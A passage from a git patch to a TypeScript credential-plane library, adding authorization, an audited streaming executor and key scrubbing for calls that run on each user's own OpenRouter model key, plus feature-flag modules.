(model bound as a resource), a bounded always-allow written at enrollment (1200/h, 12 concurrent), and a live session or the person's inference delegation standing for them. - Plane route /v1/inference/stream: grant gate, usage reserve, audit 'allowed' before send, pinned-address HTTPS stream to OpenRouter, the key scrubbed from every byte (split-chunk safe), outcome recorded when the stream ends. - Feature flags: decideFeatureFlag (off on-prem) and its repository. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- packages/lib/package.json | 40 +++ ...tp-executor-end-to-end.integration.test.ts | 2 +- .../account-authority-executor.ts | 149 ++++++++++- packages/lib/src/agent-accounts/authorize.ts | 28 ++- .../src/agent-accounts/canonical-request.ts | 3 + .../agent-accounts/canonicalize-request.ts | 2 + .../classify-plane-call-failure.ts | 4 +- .../executor/__tests__/plane-health.test.ts | 1 + .../executor/expected-binding-for.ts | 2 +- .../executor/inference-executor.ts | 232 ++++++++++++++++++ .../executor/pinned-https-stream.ts | 199 +++++++++++++++ .../executor/plane-http-adapter.ts | 61 ++++- .../src/agent-accounts/executor/plane-wire.ts | 30 +++ .../agent-accounts/executor/plane-worker.ts | 21 ++ packages/lib/src/agent-accounts/grant.ts | 2 +- .../__tests__/authorize-inference.test.ts | 163 ++++++++++++ .../inference/__tests__/model-key.test.ts | 74 ++++++ .../__tests__/stream-scrubber.test.ts | 45 ++++ .../src/agent-accounts/inference/model-key.ts | 100 ++++++++ .../inference/stream-scrubber.ts | 57 +++++ .../lib/src/agent-accounts/parse-grant.ts | 2 +- .../lib/src/agent-accounts/plane-client.ts | 41 +++- .../store/decide-resolve-caller.ts | 3 + .../src/agent-accounts/store/store-adapter.ts | 1 + .../lib/src/agent-accounts/verify-grant.ts | 2 + .../__tests__/decide-feature-flag.test.ts | 37 +++ .../src/feature-flags/decide-feature-flag.ts | 25 ++ .../feature-flags/feature-flag-repository.ts | 91 +++++++ packages/lib/src/feature-flags/flags.ts | 26 ++ 29 files changed, 1428 insertions(+), 15 deletions(-) create mode 100644 packages/lib/src/agent-accounts/executor/inference-executor.ts create mode 100644 packages/lib/src/agent-accounts/executor/pinned-https-stream.ts create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts create mode 100644 packages/lib/src/agent-accounts/inference/model-key.ts create mode 100644 packages/lib/src/agent-accounts/inference/stream-scrubber.ts create mode 100644 packages/lib/src/feature-flags/__tests__/decide-feature-flag.test.ts create mode 100644 packages/lib/src/feature-flags/decide-feature-flag.ts create mode 100644 packages/lib/src/feature-flags/feature-flag-repository.ts create mode 100644 packages/lib/src/feature-flags/flags.ts diff --git a/packages/lib/package.json b/packages/lib/package.json index 731f293013..eeeba4ec5c 100644 --- a/packages/lib/package.json +++ b/packages/lib/package.json @@ -3505,6 +3505,31 @@ "types": "./dist/organizations/open-role-floor.d.ts", "import": "./dist/organizations/open-role-floor.js", "require": "./dist/organizations/open-role-floor.js" + }, + "./feature-flags/flags": { + "types": "./dist/feature-flags/flags.d.ts", + "import": "./dist/feature-flags/flags.js", + "require": "./dist/feature-flags/flags.js" + }, + "./feature-flags/decide-feature-flag": { + "types": "./dist/feature-flags/decide-feature-flag.d.ts", + "import": "./dist/feature-flags/decide-feature-flag.js", + "require": "./dist/feature-flags/decide-feature-flag.js" + }, + "./feature-flags/feature-flag-repository": { + "types": "./dist/feature-flags/feature-flag-repository.d.ts", + "import": "./dist/feature-flags/feature-flag-repository.js", + "require": "./dist/feature-flags/feature-flag-repository.js" + }, + "./agent-accounts/inference/model-key": { + "types": "./dist/agent-accounts/inference/model-key.d.ts", + "import": "./dist/agent-accounts/inference/model-key.js", + "require": "./dist/agent-accounts/inference/model-key.js" + }, + "./agent-accounts/inference/stream-scrubber": { + "types": "./dist/agent-accounts/inference/stream-scrubber.d.ts", + "import": "./dist/agent-accounts/inference/stream-scrubber.js", + "require": "./dist/agent-accounts/inference/stream-scrubber.js" } }, "typesVersions": { @@ -4453,6 +4478,21 @@ ], "organizations/open-role-floor": [ "./dist/organizations/open-role-floor.d.ts" + ], + "feature-flags/flags": [ + "./dist/feature-flags/flags.d.ts" + ], + "feature-flags/decide-feature-flag": [ + "./dist/feature-flags/decide-feature-flag.d.ts" + ], + "feature-flags/feature-flag-repository": [ + "./dist/feature-flags/feature-flag-repository.d.ts" + ], + "agent-accounts/inference/model-key": [ + "./dist/agent-accounts/inference/model-key.d.ts" + ], + "agent-accounts/inference/stream-scrubber": [ + "./dist/agent-accounts/inference/stream-scrubber.d.ts" ] } }, diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts index a8601ee749..a821c021a4 100644 --- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts @@ -241,7 +241,7 @@ async function startPlane({ isPublic = () => true, wrapAudit = (r: AgentAccountA maxReleasedBodyBytes: 64 * 1024, }); const server = createHttpServer( - createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), + createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference: null, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }), ); await new Promise((resolve) => server.listen(0, '127.0.0.1', () => resolve())); planes.push(server); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 33cbcea5a3..42720200c2 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -31,7 +31,7 @@ import { createHash, randomBytes } from 'node:crypto'; import type { AccountOwnerRef, AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; import type { AccountId } from '@pagespace/db/schema/agent-accounts'; -import type { AgentPageId, ApprovalId, DriveId, GrantId, HashBytes, Nonce, PresenterKeyId, RequestDigest, UserId } from './grant'; +import type { AgentPageId, ApprovalId, ConversationId, RunId, SessionId, DriveId, GrantId, HashBytes, Nonce, PresenterKeyId, RequestDigest, UserId } from './grant'; import type { AccountAccessLevel } from '../permissions/account-permissions'; import type { ApprovalSubject, CanonicalRequestInput, OperationRegistry } from './canonical-request'; import type { AuthorityKey } from './account-authority-key'; @@ -51,7 +51,8 @@ import { GOOGLE_ORIGINS } from './registry/google-operations'; import { decideGoogleEnrollment, type GoogleEnrollmentInput, type GoogleEnrollmentVerdict } from './oauth/google-enrollment'; import type { PlaneOAuthExchangeResult, PlaneSshHostKeyResult } from './executor/plane-wire'; import type { SshExecutionResult } from './executor/decide-ssh-result'; -import { authorizeSsh } from './authorize'; +import { authorizeSsh, authorizeInference } from './authorize'; +import { decideModelKeyInput, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key'; import { decideSshAccount, type SshAccountInput, type SshAccountVerdict } from './ssh/decide-ssh-account'; import { normalizeSshTarget, sshTargetOf } from './ssh/ssh-command'; import type { ReleasedResponse } from './filter-response'; @@ -161,7 +162,37 @@ export type SshCommandResult = | { readonly ok: false; readonly reason: 'approval_required'; readonly digest: RequestDigest; readonly subject: ApprovalSubject; readonly stepUp: boolean } | { readonly ok: false; readonly reason: 'plane_unavailable' }; +/** Who is making one model call on their own key (ADR 0009). A model call is the person's, never an agent page's. */ +export type InferenceCaller = { + readonly userId: UserId; + /** The live session driving the call; null = unattended (a workflow, a cron, an agent-to-agent hop): the person's inference delegation stands for them. */ + readonly sessionId: SessionId | null; + readonly conversationId: ConversationId; + readonly runId: RunId; +}; + +export type InferenceRefusal = { + readonly ok: false; + /** + * `no_model_key`: the person has no usable key. `limits_exceeded`: the hourly or concurrency ceiling. + * Everything else means the call never reached OpenRouter, or may have (`outcome_unknown`). + */ + readonly reason: 'no_model_key' | 'request_refused' | 'limits_exceeded' | 'refused' | 'upstream_unreachable' | 'audit_unavailable' | 'plane_unavailable' | 'outcome_unknown'; +}; + +export type ModelKeyChangeResult = + | { readonly ok: true; readonly account: SafeAccount | null } + | { readonly ok: false; readonly reason: 'key_invalid' | 'plane_unavailable' | 'store_refused' }; + export type AccountAuthority = { + /** The person's active model key, as safe metadata (never the key); null when they have none. */ + readonly getModelKey: (input: { readonly actor: AccessActor }) => Promise; + /** Store a new model key (write-only to the plane) with its bounded policy and inference delegation, retiring any previous one. */ + readonly setModelKey: (input: { readonly actor: AccessActor; readonly apiKey: string }) => Promise; + /** Revoke the person's model key; their calls go back to PageSpace's key. */ + readonly removeModelKey: (input: { readonly actor: AccessActor }) => Promise; + /** One model call on the person's own key, streamed through the plane's inference executor. */ + readonly requestInference: (input: { readonly caller: InferenceCaller; readonly body: string; readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | InferenceRefusal>; readonly createAccount: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly input: CreateAccountInput }) => Promise; /** `allowedDriveIds`: the caller's credential ceiling (`[]` = none); accounts outside it are not listed. */ readonly listAccounts: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly allowedDriveIds?: readonly string[] }) => Promise; @@ -310,7 +341,8 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth /** The row, when the actor may change it (`grant`) and it is live; null otherwise. */ async function changeable(accountId: string, actor: AccessActor): Promise { const row = await deps.accounts.find(accountId); - if (row === null || row.status !== 'active' || row.credentialVersion < 1) return null; + // A model key is changed only through set/removeModelKey: no origins, bindings or delegations of its own (ADR 0009). + if (row === null || row.status !== 'active' || row.credentialVersion < 1 || isModelKeyAccount(row)) return null; return (await accessOf(row, actor)).grant ? row : null; } @@ -417,7 +449,116 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth return decideAccountCreatePermission({ owner: ownerRef, actorUserId: actor.userId as UserId, humanDriveRole: role }) ? { ok: true, ownerRef } : { ok: false, reason: 'forbidden' }; } + /** The person's active, provisioned model keys (normally one; more only between a set and the old key's revoke). */ + async function activeModelKeys(userId: string): Promise { + const rows = await deps.accounts.listForUser(userId); + return rows + .filter((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0) + .sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime()); + } + + async function retire(row: AgentAccountRecord): Promise { + const ref = refOf(row); + const done = row.credentialVersion === 0 ? await deps.plane.delete({ ref }) : await deps.plane.revoke({ ref }); + if (!done.ok && done.reason !== 'not_found') return false; + return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null; + } + return { + async getModelKey({ actor }) { + const [newest] = await activeModelKeys(actor.userId); + return newest === undefined ? null : toSafeAccount({ row: newest }); + }, + + async setModelKey({ actor, apiKey }) { + const input = decideModelKeyInput({ apiKey }); + if (!input.ok) return input; + const userId = actor.userId as UserId; + const previous = await activeModelKeys(userId); + const ownerRef: AccountOwnerRef = { kind: 'user', userId }; + const tenantId = deriveTenantId({ owner: ownerRef }); + const row = await deps.accounts.insert({ + draft: { kind: 'api_key', name: MODEL_KEY_ACCOUNT_NAME, allowedOrigins: [INFERENCE_ORIGIN], acknowledgment: 'dedicated_agent_account', providerSlug: MODEL_KEY_PROVIDER_SLUG }, + owner: ownerRef, + tenantId, + approvalPolicy: modelKeyApprovalPolicy({ approver: userId }), + }); + const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); + const put = await deps.plane.put({ + ref: { tenantId, accountId: row.id, kind: 'api_key' }, + material: { kind: 'api_key', material: { value: input.apiKey, placement: MODEL_KEY_PLACEMENT } }, + bindings: bindings as unknown as Record, + scope: scope as unknown as Record, + consenters: { kind: 'owner' }, + }); + if (!put.ok) { + // As createAccount: only a definite refusal stored nothing. An uncertain one keeps the row (revoked, so it + // is never used) for the plane's orphan sweep to reconcile, rather than orphaning material in the vault. + const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; + if (definite) await deps.accounts.remove(row.id); + else await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); + return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' }; + } + await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); + // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. + await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); + for (const old of previous) await retire(old); + const stored = await deps.accounts.find(row.id); + return stored === null ? { ok: false, reason: 'store_refused' } : { ok: true, account: toSafeAccount({ row: stored }) }; + }, + + async removeModelKey({ actor }) { + for (const row of await activeModelKeys(actor.userId)) { + if (!(await retire(row))) return { ok: false, reason: 'plane_unavailable' }; + } + return { ok: true, account: null }; + }, + + async requestInference({ caller, body, signal }) { + const now = deps.now(); + const [row] = await activeModelKeys(caller.userId); + if (row === undefined) return { ok: false, reason: 'no_model_key' }; + const delegation: DelegationFact = + caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' }); + const counted = await deps.plane.usage({ ref: refOf(row) }); + const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE; + const verdict = authorizeInference({ + caller: { + actorUserId: caller.userId, + actingHumanUserId: caller.userId, + sessionId: caller.sessionId, + conversationId: caller.conversationId, + runId: caller.runId, + // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs. + callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null }, + }, + account: row, + facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true }, + body, + sha256: deps.sha256, + approvals: [], + usage, + presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' }, + now, + grantId: newId() as GrantId, + nonce: newId() as Nonce, + ttlMs: GRANT_TTL_MS, + hash: deps.hash, + }); + if (!verdict.ok) { + if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' }; + if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' }; + // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored. + return { ok: false, reason: 'no_model_key' }; + } + const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey }); + const started = await deps.plane.inferStream( + { grant: verdict.grant, signature, body, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } }, + { signal }, + ); + return started.ok ? started : { ok: false, reason: started.reason }; + }, + async createAccount({ actor, owner, input }) { const actorUserId = actor.userId as UserId; const ownerRef = await ownerRefFor(owner, actorUserId); @@ -459,7 +600,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth async listAccounts({ actor, owner, allowedDriveIds = [] }) { const actorUserId = actor.userId as UserId; const withinCeiling = (row: AgentAccountRecord) => isDriveWithinCredentialScope(allowedDriveIds, row.ownerDriveId); - if (owner.kind === 'user') return (await deps.accounts.listForUser(actorUserId)).filter(withinCeiling).map((row) => toSafeAccount({ row })); + if (owner.kind === 'user') return (await deps.accounts.listForUser(actorUserId)).filter((row) => withinCeiling(row) && !isModelKeyAccount(row)).map((row) => toSafeAccount({ row })); // Decided from the caller's standing on the page BEFORE any row is read, so a refusal says nothing about // whether the page has accounts (review LOW-2). const driveId = await deps.facts.pageDrive(owner.agentPageId); diff --git a/packages/lib/src/agent-accounts/authorize.ts b/packages/lib/src/agent-accounts/authorize.ts index 32bf6a11b4..58d09819d1 100644 --- a/packages/lib/src/agent-accounts/authorize.ts +++ b/packages/lib/src/agent-accounts/authorize.ts @@ -59,6 +59,7 @@ import { canonicalizeRequest } from './canonicalize-request'; import { digestRequest } from './digest-request'; import { renderApprovalSubject } from './render-approval-subject'; import { decideApproval } from './decide-approval'; +import { canonicalizeInferenceRequest, isModelKeyAccount } from './inference/model-key'; import { decideDestination, type DestinationVerdict } from './decide-destination'; import { planeBindingsFor } from './plane-bindings-for'; import { digestBindings } from './store/digest-bindings'; @@ -162,6 +163,7 @@ export function pagePermissionSuffices(account: Pick, kinds: readonly AgentAccountRecord['kind'][]): AuthorizeRefusal | null { @@ -198,6 +200,8 @@ export function authorize(input: AuthorizeInput): AuthorizeVerdict { const refused = entitle(input, HTTP_KINDS); if (refused !== null) return refused; const account = input.account!; + // A person's model key is never an agent's tool: only `authorizeInference` issues grants for it (ADR 0009). + if (isModelKeyAccount(account)) return { ok: false, reason: 'kind_not_supported' }; const canonicalized = canonicalizeRequest({ request: input.request, providerSlug: account.providerSlug, registry: input.registry }); if (!canonicalized.ok) return { ok: false, reason: 'request_refused', rule: canonicalized.reason }; const canonical = canonicalized.canonical; @@ -223,6 +227,28 @@ export function authorizeSsh(input: Omit return issue(input, account, canonicalized.canonical); } +/** + * `authorizeInference` — one model call on the person's own model key (ADR 0009). The same intersection, + * narrowed: the account must be a user-owned model key of the acting human, the call is never an agent + * page's (`agentPageId` is forced to null, so a page agent's binding can neither widen nor be needed), and + * the body is canonicalized against the pinned OpenRouter endpoint. A live session or the person's standing + * inference delegation stands for the human. Pure. + */ +export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes }): AuthorizeVerdict { + const caller: AuthorizeCaller = { ...input.caller, agentPageId: null }; + const facts: AuthorizeFacts = { ...input.facts, agentPagePermission: 'none', agentBoundToAccount: false }; + const scoped = { ...input, caller, facts }; + const account = input.account; + if (account === null || !isModelKeyAccount(account) || account.ownerKind !== 'user' || account.ownerUserId !== caller.actingHumanUserId) return UNAVAILABLE; + const refused = entitle(scoped, INFERENCE_KINDS); + if (refused !== null) return refused; + const canonicalized = canonicalizeInferenceRequest({ body: input.body, sha256: input.sha256 }); + if (!canonicalized.ok) return { ok: false, reason: 'request_refused', rule: 'malformed' }; + const destination = decideDestination({ url: `${canonicalized.canonical.origin}${canonicalized.canonical.path}`, allowedOrigins: account.allowedOrigins as CanonicalRequest['origin'][], hop: 'initial' }); + if (!destination.allow) return { ok: false, reason: 'destination_denied', rule: destination.reason }; + return issue(scoped, account, canonicalized.canonical); +} + /** Steps 4–5 for a canonical request the caller already admitted: digest, approval, and the unsigned grant. */ function issue(input: Omit, account: AgentAccountRecord, canonical: CanonicalRequest): AuthorizeVerdict { const { caller, facts } = input; @@ -263,7 +289,7 @@ function issue(input: Omit, account: Age const grant: AgentAccountGrant = { grantId: input.grantId, iss: 'pagespace-account-authority', - aud: canonical.channel === 'ssh-executor' ? 'ssh-executor' : 'http-executor', + aud: canonical.channel === 'ssh-executor' ? 'ssh-executor' : canonical.channel === 'inference-executor' ? 'inference-executor' : 'http-executor', tenantId: account.tenantId as TenantId, human: { userId: caller.actingHumanUserId, sessionId: caller.sessionId }, delegationId: caller.sessionId === null && facts.delegation.kind === 'delegation' ? facts.delegation.delegationId : null, diff --git a/packages/lib/src/agent-accounts/canonical-request.ts b/packages/lib/src/agent-accounts/canonical-request.ts index 2fe8749ac6..c4c03091a0 100644 --- a/packages/lib/src/agent-accounts/canonical-request.ts +++ b/packages/lib/src/agent-accounts/canonical-request.ts @@ -19,6 +19,8 @@ export type RelayMethod = 'git-receive-pack' | 'git-upload-pack' | 'lfs-batch' | export type BrowserMethod = 'navigate' | 'click' | 'type' | 'read' | 'wait' | 'fill'; /** One SSH command on the account's pinned host (slice 5). */ export type SshMethod = 'EXEC'; +/** One model call to the person's pinned inference endpoint (ADR 0009). */ +export type InferenceMethod = 'POST'; /** The closed method set per channel; anything else is `malformed`. */ export type MethodFor = { @@ -26,6 +28,7 @@ export type MethodFor = { readonly 'relay-runner': RelayMethod; readonly 'browser-worker': BrowserMethod; readonly 'ssh-executor': SshMethod; + readonly 'inference-executor': InferenceMethod; }; /** diff --git a/packages/lib/src/agent-accounts/canonicalize-request.ts b/packages/lib/src/agent-accounts/canonicalize-request.ts index 0ba95b8a46..f69e156715 100644 --- a/packages/lib/src/agent-accounts/canonicalize-request.ts +++ b/packages/lib/src/agent-accounts/canonicalize-request.ts @@ -93,6 +93,8 @@ const METHODS_BY_CHANNEL: { readonly [C in ExecutorChannel]: readonly MethodFor[ 'browser-worker': ['navigate', 'click', 'type', 'read', 'wait', 'fill'], // SSH commands are never canonicalized as HTTP: `canonicalizeSshCommand` builds them, so this path refuses them. 'ssh-executor': [], + // Model calls are never canonicalized as generic HTTP: `canonicalizeInferenceRequest` builds them (ADR 0009). + 'inference-executor': [], }; /** What every request without exactly one registry match is: never self-declared, never `read`. */ diff --git a/packages/lib/src/agent-accounts/classify-plane-call-failure.ts b/packages/lib/src/agent-accounts/classify-plane-call-failure.ts index 6cd907361c..a5897894a9 100644 --- a/packages/lib/src/agent-accounts/classify-plane-call-failure.ts +++ b/packages/lib/src/agent-accounts/classify-plane-call-failure.ts @@ -12,7 +12,7 @@ * `revoke` report every failure as `plane_unavailable`; their callers keep the * state that lets the operation be reconciled or repeated. */ -export type PlaneRoute = 'put' | 'revoke' | 'delete' | 'describe' | 'rebind' | 'usage' | 'oauthExchange' | 'sshHostKey' | 'sshEnroll' | 'sshExec' | 'execute'; +export type PlaneRoute = 'put' | 'revoke' | 'delete' | 'describe' | 'rebind' | 'usage' | 'oauthExchange' | 'sshHostKey' | 'sshEnroll' | 'sshExec' | 'inferenceStream' | 'execute'; export type PlaneCallFailure = | { readonly kind: 'timeout' } @@ -25,7 +25,7 @@ const NEVER_REACHED: ReadonlySet = new Set(['ECONNREFUSED', 'ENOTFOUND', export function classifyPlaneCallFailure({ route, failure }: { readonly route: PlaneRoute; readonly failure: PlaneCallFailure }): 'plane_unavailable' | 'outcome_unknown' | 'refused' { // A command that may have reached the plane may have run: never "nothing happened". - if (route !== 'execute' && route !== 'sshExec') return 'plane_unavailable'; + if (route !== 'execute' && route !== 'sshExec' && route !== 'inferenceStream') return 'plane_unavailable'; if (failure.kind === 'network' && failure.code !== null && NEVER_REACHED.has(failure.code)) return 'plane_unavailable'; if (failure.kind === 'status' && failure.status >= 400 && failure.status < 500) return 'refused'; return 'outcome_unknown'; diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts index a2dc4433fb..8d3652aa3b 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts @@ -23,6 +23,7 @@ const deps: PlaneRequestHandlerDeps = { usage: { window: untouched }, oauth: null, ssh: null, + inference: null, provisioner: { ensureTenant: untouched, identityOf: untouched }, executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), diff --git a/packages/lib/src/agent-accounts/executor/expected-binding-for.ts b/packages/lib/src/agent-accounts/executor/expected-binding-for.ts index 85594c980d..4d1ce40429 100644 --- a/packages/lib/src/agent-accounts/executor/expected-binding-for.ts +++ b/packages/lib/src/agent-accounts/executor/expected-binding-for.ts @@ -45,7 +45,7 @@ export type PlaneAttestedFacts = { }; /** The executors whose grants this binding is built for. */ -export type BoundExecutor = 'http-executor' | 'ssh-executor'; +export type BoundExecutor = 'http-executor' | 'ssh-executor' | 'inference-executor'; export function expectedBindingFor({ run, diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts new file mode 100644 index 0000000000..7f898d2afd --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -0,0 +1,232 @@ +/** + * `createInferenceExecutor` — the credential plane's inference executor (ADR 0009). I/O only; the SSH + * executor's twin, for one streamed model call on a person's own model key: + * + * parse ─▶ facts (main-DB row + delegation, plane describe) ─▶ canonicalize the exact body against the + * PLANE's pinned origin ─▶ grant gate (verifyGrant, audience inference-executor, one-use nonce) ─▶ policy + * usage reserve ─▶ audited execution: resolve the key ─▶ pinned HTTPS stream to openrouter.ai ─▶ scrub + * the key from every byte ─▶ record the outcome when the stream ends + * + * `execute` resolves as soon as the upstream answered (or the call was refused), so the response can be + * piped while the audit's outcome row waits for the end of the stream. The key exists only inside `act`, + * for one request, and is scrubbed from the released stream in both its raw and `Bearer` forms. + */ +import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; +import type { DelegationFact, Ed25519Verify, HashBytes, PresenterKeyId, VerifiedGrant } from '../grant'; +import type { PlaneScope, SecretRef, StoreAdapter, StoreIdentity, StoreLimits } from '../store/store-adapter'; +import type { UsageLedger } from '../store/usage-ledger-repository'; +import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client'; +import type { AgentAccountRepository } from '../agent-account-repository'; +import type { GrantGate } from '../grant-gate-executor'; +import type { AuditedExecutor, AuditedExecution, OperationOutcome } from '../audit-gate-executor'; +import type { PinnedHttpsStreamClient } from './pinned-https-stream'; +import type { PlaneInferenceRefusal } from './plane-wire'; +import { parseGrant } from '../parse-grant'; +import { digestRequest } from '../digest-request'; +import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount } from '../inference/model-key'; +import { createStreamScrubber } from '../inference/stream-scrubber'; +import { decidePolicyUsage } from './decide-policy-usage'; +import { approvalFactFor } from './approval-fact-for'; +import { expectedBindingFor, type PlaneAttestedFacts, type RunEnvelope } from './expected-binding-for'; + +export type InferenceExecutorDeps = { + readonly store: Pick; + readonly provisioner: Pick; + readonly accounts: Pick; + readonly grantGate: GrantGate; + readonly audited: AuditedExecutor; + readonly network: PinnedHttpsStreamClient; + readonly planeScope: (ref: SecretRef) => Promise; + readonly usage: UsageLedger; + readonly issuerPublicKey: Uint8Array; + readonly presenterKeyId: PresenterKeyId; + readonly verify: Ed25519Verify; + /** SHA3-256. */ + readonly hash: HashBytes; + /** SHA-256 (the canonical body digest). */ + readonly sha256: HashBytes; + readonly now: () => number; + readonly rotationGraceMs: StoreLimits['rotationGraceMs']; +}; + +export type InferenceRequest = { + /** Untrusted until verified. */ + readonly grant: unknown; + readonly signature: string; + /** The exact chat-completions body text. */ + readonly body: string; + readonly run: RunEnvelope; +}; + +export type InferenceStarted = { + readonly ok: true; + /** OpenRouter's own status: a 401/402/429 streams back as OpenRouter wrote it (scrubbed). */ + readonly status: number; + readonly contentType: string; + readonly body: AsyncIterable; + /** Stop the upstream exchange (the caller went away). */ + readonly cancel: () => void; + /** Settles once the outcome row is written (or could not be). */ + readonly finished: Promise; +}; + +export type InferenceResult = InferenceStarted | PlaneInferenceRefusal; + +export type InferenceExecutor = { readonly execute: (input: InferenceRequest) => Promise }; + +const REFUSED: PlaneInferenceRefusal = { ok: false, reason: 'refused' }; +/** The upstream headers a caller may see: nothing that could carry the key or tracking, only how to read the body. */ +const RELEASED_CONTENT_TYPES = /^(text\/event-stream|application\/json)\b/i; + +export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceExecutor { + const presenter = { keyId: deps.presenterKeyId, channel: 'inference-executor' as const }; + const caller = { channel: 'inference-executor' as const, presenterKeyId: deps.presenterKeyId }; + + async function deny(claim: unknown, reason: Parameters[0]['reason'], now: number, refusal: PlaneInferenceRefusal = REFUSED): Promise { + await deps.audited.recordDenial({ caller, claim: new TextEncoder().encode(JSON.stringify(claim) ?? 'null'), reason, now }).catch(() => undefined); + return refusal; + } + + async function planeFacts(row: AgentAccountRecord, identity: Omit): Promise { + const described = await deps.store.describe({ ref: { tenantId: identity.tenantId, accountId: row.id as never, kind: row.kind }, identity: { ...identity, channel: 'manage' } }); + return described.ok ? { allowedOrigins: described.bindings.allowedOrigins, version: described.version, previousVersion: described.previousVersion, rotatedAt: described.rotatedAt, revokedAt: described.revokedAt } : null; + } + + return { + async execute({ grant: claim, signature, body, run }) { + const now = deps.now(); + const parsed = parseGrant({ grant: claim }); + if (!parsed.ok) return deny(claim, 'malformed', now); + + const row = await deps.accounts.find(parsed.grant.accountId).catch(() => null); + // Only a model key reaches this executor, whatever a grant says. + if (row !== null && !isModelKeyAccount(row)) return deny(claim, 'kind_not_resolvable', now); + const tenant = row === null ? null : await deps.provisioner.identityOf(row.tenantId as never); + const identityBase = row === null || tenant === null ? null : { tenantId: row.tenantId as never, identityId: tenant.identityId, blastRadius: 'tenant' as const }; + const plane = row === null || identityBase === null ? null : await planeFacts(row, identityBase); + + // The plane's pinned origin, never the main-DB row's: it must be OpenRouter and nothing else. + const pinnedToInference = plane !== null && plane.allowedOrigins.length === 1 && plane.allowedOrigins[0] === INFERENCE_ORIGIN; + const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256 }); + if (!canonicalized.ok || !pinnedToInference) return deny(claim, 'digest_mismatch', now); + const canonical = canonicalized.canonical; + + const approvalRow = parsed.grant.approvalId === 'policy' ? null : await 